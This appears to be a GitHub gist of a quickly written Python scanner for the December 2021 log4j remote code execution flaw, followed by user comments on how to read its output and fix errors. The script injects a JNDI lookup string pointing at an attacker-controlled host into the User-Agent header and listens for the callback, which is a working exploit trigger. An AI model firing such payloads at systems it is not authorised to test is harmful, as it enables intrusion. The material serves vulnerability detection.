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Created December 10, 2021 06:02
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Python script to detect if an HTTP server is potentially vulnerable to the log4j 0day RCE (
#! /usr/bin/env python3
Needs Requests (pip3 install requests)
Author: Marcello Salvati, Twitter: @byt3bl33d3r
License: DWTFUWANTWTL (Do What Ever the Fuck You Want With This License)
This should allow you to detect if something is potentially exploitable to the log4j 0day dropped on December 9th 2021.
WARNING: This script is extremely naive in a lot of ways cause it was put together in 15 min. See comments below.
import logging
import requests
import socket
import argparse
import threading
import time
handler = logging.StreamHandler()
fmt="[{name}:{filename}] {levelname} - {message}"
log = logging.getLogger("log4jscanner")
def tcp_server(attacker_host):
_, PORT = attacker_host.split(':')
HOST = ''
PORT = int(PORT)
log.debug(f"Starting server on{PORT}")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
conn, addr = s.accept()
with conn:
log.debug(f"Connected by {addr}. If this is the same host you attacked its most likely vulnerable")
while True:
data = conn.recv(1024)
if not data: break
def main():
parser = argparse.ArgumentParser()
parser.add_argument('url', help='target http url')
parser.add_argument('--attacker-host', type=str, dest='attacker_host', default='', help="attacker's host:port ")
parser.add_argument('--timeout', type=int, dest='timeout', default=10, help='timeout to start listening')
args = parser.parse_args()
server_thread = threading.Thread(target=tcp_server, args=(args.attacker_host,))
Due of the nature of the exploit, any HTTP field could be used to exploit a vulnerable machine (as long as it's being logged on the affected host)
Here we're just injecting the string in the User-Agent field.
headers={'User-Agent': f'${{jndi:ldap://{args.attacker_host}/exploit.class}}'},
except requests.exceptions.ConnectionError as e:
log.error(f"HTTP connection to target URL error: {e}")
log.debug(f"Waiting {args.timeout} seconds for a response")
if __name__ == "__main__":
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First of all - thx for the script
Second - sorry - I have definitley no clue on behalf of python, but adore to have the option to check individual sites regarding beeing vulnerable to the log4j exploit.

I have installed python on my windows10 workstation, downloaded your script and executed it. That's what happens - and that leads me to the question, what would be the expected answer from the script if the webserver hosting the application is vulnerable - and what if not?

C:\Users\joerg\Python\ DeprecationWarning: setDaemon() is deprecated, set the daemon attribute instead
[] DEBUG - Starting server on
C:\Users\joerg\AppData\Local\Programs\Python\Python310\lib\site-packages\urllib3\ InsecureRequestWarning: Unverified HTTPS request is being made to host ''. Adding certificate verification is strongly advised. See:
[] ERROR - HTTP connection to target URL error: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))
[] DEBUG - Waiting 10 seconds for a response

Any answer will be appreciated - thank you and stay safe

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mh-weare commented Dec 12, 2021

@quiksilver66 The exploit works by triggering name resolution requests via JNDI to a machine controlled by the attacker, that will then respond with malicious payload. The python script takes two parameters: 1) url - which specifies the target to check (and which, if affected, will then issue a DNS request to 2) attacker-host - which the script spawns a server for in the tcp_server function. So if you get the output from line 50 (and it is coming from the host in url) - this strongly suggests that the connect was triggered by your request and thus the system might be vulnerable to the log4j exploits.

So if you don't get any more output than the one you posted - it then seems as if the checked system is a) not calling back or b) the system your run the script from is not reachable from the host of url (due to firewalls or things like that). If you can be sure, that the tested host should be able to call back and it is not - you might be o.k.

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quiksilver66 commented Dec 12, 2021

@mh-weare Thank you so much for making that clear, really appreciate that Michael.

The system (i.e. url) I've tested (which has in fact another url ;-) is an internal server running external exposed Atlassian Jira/Confluence. But the system ist behind a palo alto firewall, and I suppose that the firewall was adopted by PA after getting aware of the log4j exploit, to prevent such communications. that's what one can find stated on the palo alto website, therefore that calms me down for the time now.

Stay healthy and safe

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try it against all repos listed here:

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boyke commented Dec 13, 2021

Python 2.6.6

Traceback (most recent call last):
File "", line 21, in
import requests
ImportError: No module named requests

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Nice! Thanks!

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@boyke pip3 install requests per line 4

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Thanks, I took only the server part of your code and modified it to log to file. Pen-testers will make their own attacks as they go

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I dont know why i got this error
File "", line 41
log.debug(f"Starting server on")
how can we fix this and thank you 👍

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mh-weare commented Dec 25, 2021 via email

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